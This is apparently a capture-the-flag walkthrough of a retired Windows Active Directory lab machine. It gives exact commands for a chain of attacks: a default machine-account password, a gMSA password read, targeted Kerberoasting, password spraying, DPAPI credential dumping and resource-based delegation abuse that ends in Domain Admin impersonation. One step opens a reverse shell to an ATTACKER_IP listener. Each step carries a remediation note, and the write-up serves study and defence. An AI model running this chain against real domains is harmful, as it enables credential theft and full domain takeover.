← all walkthroughs

Vintage

Windows· Hard
owned
2026-10-12
time to own
21m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I started with a low-privileged domain account on a Kerberos-only Active Directory domain controller (NTLM disabled domain-wide). Enumeration revealed a computer account that had been pre-created with a predictable default password, which granted read access to a group-managed service account's password. That service account could add itself to a group holding write access over a disabled service account; re-enabling it and giving it a service principal name allowed an offline password-cracking attack whose result was reused by a regular domain user with remote access (user flag).

From that user's session, a privileged helper account's cached credential was recovered, which had rights over a group trusted for constrained delegation on the domain controller. Abusing that delegation trust let me impersonate a Domain Administrator and gain full control of the domain (root flag).

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD4="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <cracked-password>, <gmsa-credential>, <password> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationKerberos authentication and AD permission-graph enumeration (T1087.002)
Authenticated with the supplied account and mapped the domain
I used a supplied low-privilege domain account to obtain a Kerberos ticket (NTLM is disabled domain-wide, so every subsequent step must use Kerberos) and collected the Active Directory object and permission graph. This showed that a computer account had been left in the 'Pre-Windows 2000 Compatible Access' group, meaning it was pre-created and likely still carried its default password.
A valid Kerberos ticket was issued for the supplied account; the collected graph placed the FS01$ computer account in Pre-Windows 2000 Compatible Access.
Exact commands 4
shell

Add the DC to local name resolution (FQDN before bare domain).

$ echo "$TARGET dc01.vintage.htb vintage.htb dc01" | sudo tee -a /etc/hosts
shell

Sync the local clock with the DC; Kerberos fails on time skew.

$ sudo net time set -S vintage.htb
shell

Obtain a TGT for the supplied low-privilege account.

$ echo '<password>' | kinit p.rosa
shell

Collect AD objects, ACLs and group memberships for analysis.

$ bloodhound.py -u p.rosa -p '<password>' -k -d vintage.htb --zip -c All -dc dc01.vintage.htb -ns $TARGET --dns-tcp
FixRemove or reset pre-created computer accounts' default passwordsHigh
WeaknessA computer account was pre-created outside the normal domain-join flow and left in the 'Pre-Windows 2000 Compatible Access' group, so its password remained the predictable default (its own lowercase name), letting an unauthorised user authenticate as a trusted machine account with no exploitation required.
FixAudit AD for accounts in Pre-Windows 2000 Compatible Access and for any computer object whose pwdLastSet predates its intended provisioning; reset the password or re-join the host properly, and remove the group membership unless a specific legacy system requires it.
2Initial AccessDefault/predictable machine-account password on a pre-created computer object (T1078.002)
Logged in as a pre-created computer account using its default password
A computer account created ahead of time under the legacy pre-Windows 2000 join process defaults to a password equal to its own lowercase name. I requested a Kerberos ticket as that machine account with the predictable password and it succeeded, giving a new machine-account identity inside the domain.
An AS-REQ for FS01$ using the lowercase account name as the password succeeded and returned a usable ticket.
Exact commands 2
shell

Confirm the default machine-account password is valid over Kerberos.

$ nxc ldap $TARGET -d vintage.htb -u "$PASSWORD4$" -p "$PASSWORD4" -k
shell

Obtain a TGT as the FS01$ machine account.

$ echo "$PASSWORD4" | kinit "$PASSWORD4$"
3Credential AccessGroup-Managed Service Account password disclosure and group-membership abuse (T1555 / T1098)
Read a managed service account's password and joined a privileged group
The FS01$ machine account (through its membership in Domain Computers) had been granted rights to read the managed password of a group-managed service account. I retrieved that password, authenticated as the service account, and used its own group-management rights to add myself to a group with further write privileges in the domain.
The gMSA's managed-password attribute was readable and yielded a usable credential; the service account subsequently obtained a valid ticket after joining the target group.
Exact commands 3
shell

Run with FS01$'s ticket cache; returns the gMSA's current credential material.

$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb get object 'CN=GMSA01,CN=MANAGED SERVICE ACCOUNTS,DC=VINTAGE,DC=HTB' --attr msDS-ManagedPassword
shell

Request a TGT as the gMSA using the recovered credential.

$ impacket-getTGT -hashes :<gmsa-credential> vintage.htb/'GMSA01$' -dc-ip $TARGET
shell

Use the gMSA's own write rights to add it to a privileged group; re-request a ticket afterward so the new group membership is reflected.

$ export KRB5CCNAME=GMSA01$.ccache && bloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember ServiceManagers 'GMSA01$'
FixRestrict ReadGMSAPassword and remove unnecessary nested group write rightsHigh
WeaknessDomain Computers (and therefore every domain-joined machine account, including the pre-created one) had rights to read a group-managed service account's password, and that service account could modify its own group memberships, letting a single compromised machine account pivot into a more privileged group.
FixLimit the PrincipalsAllowedToRetrieveManagedPassword list on each gMSA to the specific hosts/services that need it instead of broad groups like Domain Computers, and review which accounts have GenericWrite/GenericAll/AddSelf over security groups, removing any that are not operationally required.
4Credential AccessTargeted Kerberoasting enabled by GenericWrite over a disabled account (T1558.003)
Re-enabled a disabled service account and cracked its password via Kerberoasting
The newly joined group held write access over a service account that had been disabled. I cleared the disabled flag, added a service principal name to make the account Kerberoastable, requested its service ticket, and cracked the ticket offline with a wordlist to recover a plaintext password.
The account's userAccountControl no longer showed ACCOUNTDISABLE and an SPN was present on a follow-up LDAP read; a requested TGS hash was cracked successfully.
Exact commands 4
shell

Re-enable the disabled service account.

$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb remove uac svc_sql -f ACCOUNTDISABLE
shell

Add an SPN so the account becomes Kerberoastable.

$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb set object svc_sql servicePrincipalName -v 'http/anything'
shell

Request and save the service ticket hash for the now-SPN'd account.

$ nxc ldap $TARGET -d vintage.htb -u 'GMSA01$' -H <gmsa-credential> -k --kerberoasting hashes.txt
shell

Crack the ticket hash offline to recover the account's password.

$ john -w=/usr/share/wordlists/rockyou.txt hashes.txt
FixRemove write access over sensitive accounts and enforce strong service-account passwordsCritical
WeaknessA group reachable by the earlier credential chain had GenericWrite over a disabled service account, allowing it to be re-enabled and given a Service Principal Name; the account's password was then recovered offline because it was weak enough to crack with a standard wordlist.
FixRemove GenericWrite/GenericAll delegations on sensitive service accounts from any group broader than a dedicated admin tier, and set service-account passwords to long, randomly generated values (25+ characters) or convert them to (group) managed service accounts so no human-set password exists to crack.
5Lateral MovementPassword reuse across accounts combined with WinRM remote management access (T1078 / T1021.006)
Reused the cracked password to obtain remote access as a regular domain user
The password recovered from the service account turned out to be reused by a regular domain user who belonged to the Remote Management Users group. I authenticated as that user over Kerberos and opened a remote PowerShell session directly on the domain controller, then retrieved the user flag.
The cracked password validated for the second account over Kerberos, and an interactive remote session on the domain controller returned the user-level identity and flag.
Exact commands 4
shell

Spray the cracked password across known domain users to find reuse.

$ nxc ldap $TARGET -d vintage.htb -u users.txt -p '<cracked-password>' -k
shell

Obtain a TGT for the user found to be reusing the password.

$ echo '<cracked-password>' | kinit C.Neri
shell

Kerberos-based WinRM login (ticket cache used in place of -u/-p).

$ evil-winrm -i dc01.vintage.htb -r vintage.htb
shell

Read the user flag; replace with <user.txt> when reporting.

$ type C:\Users\C.Neri\Desktop\user.txt
FixEliminate password reuse between service and user accountsHigh
WeaknessA regular, remotely-accessible domain user reused the exact password recovered from the compromised service account, which let an unauthorised user pivot from a cracked service credential straight into an interactive user session with WinRM access.
FixEnforce a password policy that blocks reuse across account tiers (e.g. via fine-grained password policies or a breached/reused-password check such as Azure AD Password Protection on-prem), and restrict WinRM/Remote Management Users membership to only the accounts that need it.
6Credential AccessCredential Manager / DPAPI secret extraction via an interactive logon (T1555.004)
Opened an interactive session and recovered a cached administrative credential
A WinRM network logon does not expose the Windows Credential Manager vault for the logged-on user, so I spawned an interactive-style process under the same user's identity. That interactive context exposed a credential the user had previously saved for a privileged helper account, which was extracted from the local credential store.
A stored credential entry for a second, privileged account was present in the user's credential vault and was successfully decrypted in the interactive session.
Exact commands 4
shell

Local listener for the interactive callback (run before triggering it).

$ nc -lnvp 1337
shell

From the WinRM session: force a type-2 (interactive) logon so the credential vault is accessible.

$ Invoke-RunasCs -Username C.Neri -Password '<cracked-password>' -Domain vintage.htb -Command 'powershell.exe' -Remote $ATTACKER_IP:1337 -ForceProfile
shell

In the resulting shell: list saved credentials to confirm a privileged account is stored.

$ cmdkey /l
shell

Dump and decrypt the saved credential for the privileged helper account.

$ Invoke-WCMDump
FixAvoid saving privileged credentials in the Windows Credential Manager on shared or lower-trust hostsHigh
WeaknessA privileged administrative account's credential was stored in the standard user's Credential Manager vault, which DPAPI will decrypt for any process running interactively as that user — giving a full admin credential to anyone who can force an interactive logon.
FixRemove stored credentials for privileged accounts from end-user profiles (audit with cmdkey /list across hosts), enforce that administrative accounts never log on interactively to non-admin workstations, and deploy Credential Guard to block DPAPI-based secret extraction.
7Privilege EscalationResource-Based Constrained Delegation (RBCD) abuse via group write rights (T1558 / S4U2proxy)
Used the recovered admin account to grant a delegation right, then impersonated a Domain Admin
The recovered privileged account had write access over a group that the domain controller's own computer account trusted for Resource-Based Constrained Delegation. I added the earlier-compromised machine account to that group, requested a forwardable ticket for it, and used constrained delegation to request a service ticket impersonating a Domain Administrator against the domain controller, obtaining full domain control.
The domain controller's computer object listed the target group under its allowed-to-delegate-to principals; an impersonated service ticket for a Domain Admin was accepted by the domain controller, and the root flag was retrieved.
Exact commands 6
shell

Authenticate with the recovered administrative credential.

$ kinit c.neri_adm
shell

Use the admin account's write rights to add the earlier machine account to the delegation-trusted group.

$ bloodyAD -d vintage.htb -k --host dc01.vintage.htb add groupMember DelegatedAdmins "$PASSWORD4$"
shell

Request a FORWARDABLE ticket for FS01$; S4U2proxy fails without this.

$ echo "$PASSWORD4" | kinit -f "$PASSWORD4$"
shell

S4U2self/S4U2proxy request impersonating a Domain Admin account.

$ impacket-getST -spn 'cifs/dc01.vintage.htb' -altservice 'HTTP/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip $TARGET "vintage.htb/$PASSWORD4$:$PASSWORD4"
shell

Use the impersonated ticket to open an admin-level session.

$ export KRB5CCNAME=L.BIANCHI_ADM@HTTP_dc01.vintage.htb@VINTAGE.HTB.ccache && evil-winrm -i dc01.vintage.htb -r vintage.htb
shell

Read the root flag; replace with <root.txt> when reporting.

$ type C:\Users\Administrator\Desktop\root.txt
FixRestrict group write access to RBCD-trusted groups and monitor delegation changesCritical
WeaknessA recovered administrative account had write access to add members to a group that the domain controller's computer object trusted for Resource-Based Constrained Delegation, letting an unauthorised user insert a controlled machine account and impersonate a Domain Administrator via S4U2proxy.
FixRemove GenericWrite/AddSelf rights over any group listed in a computer's msDS-AllowedToActOnBehalfOfOtherIdentity / PrincipalsAllowedToDelegateToAccount, restrict delegation configuration to Tier-0 admins only, and alert on changes to that attribute and on S4U2proxy requests targeting domain controllers.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

gMSA Password ReadActive Directory · Credential AccessT1555

What it is

Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.

Why it works

gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.

Read more

KerberoastingActive Directory · KerberosT1558.003

What it is

Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.

Why it works

Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
49664/tcp
49667/tcp
49676/tcp
49687/tcp
63721/tcp
53/udp